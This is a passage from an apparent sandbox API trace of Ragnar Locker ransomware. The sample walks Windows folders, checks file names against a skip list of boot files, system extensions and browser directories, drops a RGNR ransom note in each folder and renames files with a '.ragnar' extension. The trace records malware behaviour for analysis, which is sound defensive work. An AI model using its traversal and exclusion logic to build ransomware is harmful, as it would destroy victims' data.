ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.532] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75214540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x75214540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.532] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.532] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.532] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.532] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.532] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.532] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.532] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.532] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned=".mui" [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.533] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.533] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.533] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.533] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.533] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.533] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.533] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.533] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.533] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.533] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.533] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.533] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0058.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.539] CloseHandle (hObject=0xffffffff) returned 0 [0058.539] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" [0058.539] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.539] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.539] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.539] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.539] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0058.539] lstrcmpiW (lpString1="TipBand.dll", lpString2=".") returned 1 [0058.540] lstrcmpiW (lpString1="TipBand.dll", lpString2="..") returned 1 [0058.540] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0058.540] lstrcmpiW (lpString1="TipRes.dll", lpString2=".") returned 1 [0058.540] lstrcmpiW (lpString1="TipRes.dll", lpString2="..") returned 1 [0058.540] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0058.540] lstrcmpiW (lpString1="tipresx.dll", lpString2=".") returned 1 [0058.540] lstrcmpiW (lpString1="tipresx.dll", lpString2="..") returned 1 [0058.540] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0058.540] lstrcmpiW (lpString1="tipskins.dll", lpString2=".") returned 1 [0058.540] lstrcmpiW (lpString1="tipskins.dll", lpString2="..") returned 1 [0058.540] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0058.540] lstrcmpiW (lpString1="tiptsf.dll", lpString2=".") returned 1 [0058.540] lstrcmpiW (lpString1="tiptsf.dll", lpString2="..") returned 1 [0058.540] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0058.540] lstrcmpiW (lpString1="tpcps.dll", lpString2=".") returned 1 [0058.540] lstrcmpiW (lpString1="tpcps.dll", lpString2="..") returned 1 [0058.540] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2=".") returned 1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="..") returned 1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="Windows") returned -1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="Windows.old") returned -1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="Tor browser") returned 1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="Internet Explorer") returned 1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="Google") returned 1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="Opera") returned 1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="Opera Software") returned 1 [0058.540] lstrcmpiW (lpString1="tr-TR", lpString2="Mozilla") returned 1 [0058.541] lstrcmpiW (lpString1="tr-TR", lpString2="Mozilla Firefox") returned 1 [0058.541] lstrcmpiW (lpString1="tr-TR", lpString2="$Recycle.Bin") returned 1 [0058.541] lstrcmpiW (lpString1="tr-TR", lpString2="ProgramData") returned 1 [0058.541] lstrcmpiW (lpString1="tr-TR", lpString2="All Users") returned 1 [0058.541] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.541] lstrcpyW (in: lpString1=0x1eb62e, lpString2="tr-TR" | out: lpString1="tr-TR") returned="tr-TR" [0058.541] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\" [0058.541] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\" [0058.541] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\RGNR_FD7BD9FC.txt" [0058.541] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.544] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*" [0058.544] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.544] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.544] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.545] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.545] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.545] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7523a6a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.545] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.545] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.545] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.545] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.545] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.546] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7523a6a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.546] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7523a6a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7523a6a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.546] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.546] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.546] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.546] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.546] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.546] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.546] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.546] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui") returned=".mui" [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.546] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.546] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.546] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.546] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.546] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.546] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.546] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.546] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0058.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.547] CloseHandle (hObject=0xffffffff) returned 0 [0058.547] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" [0058.547] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.547] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 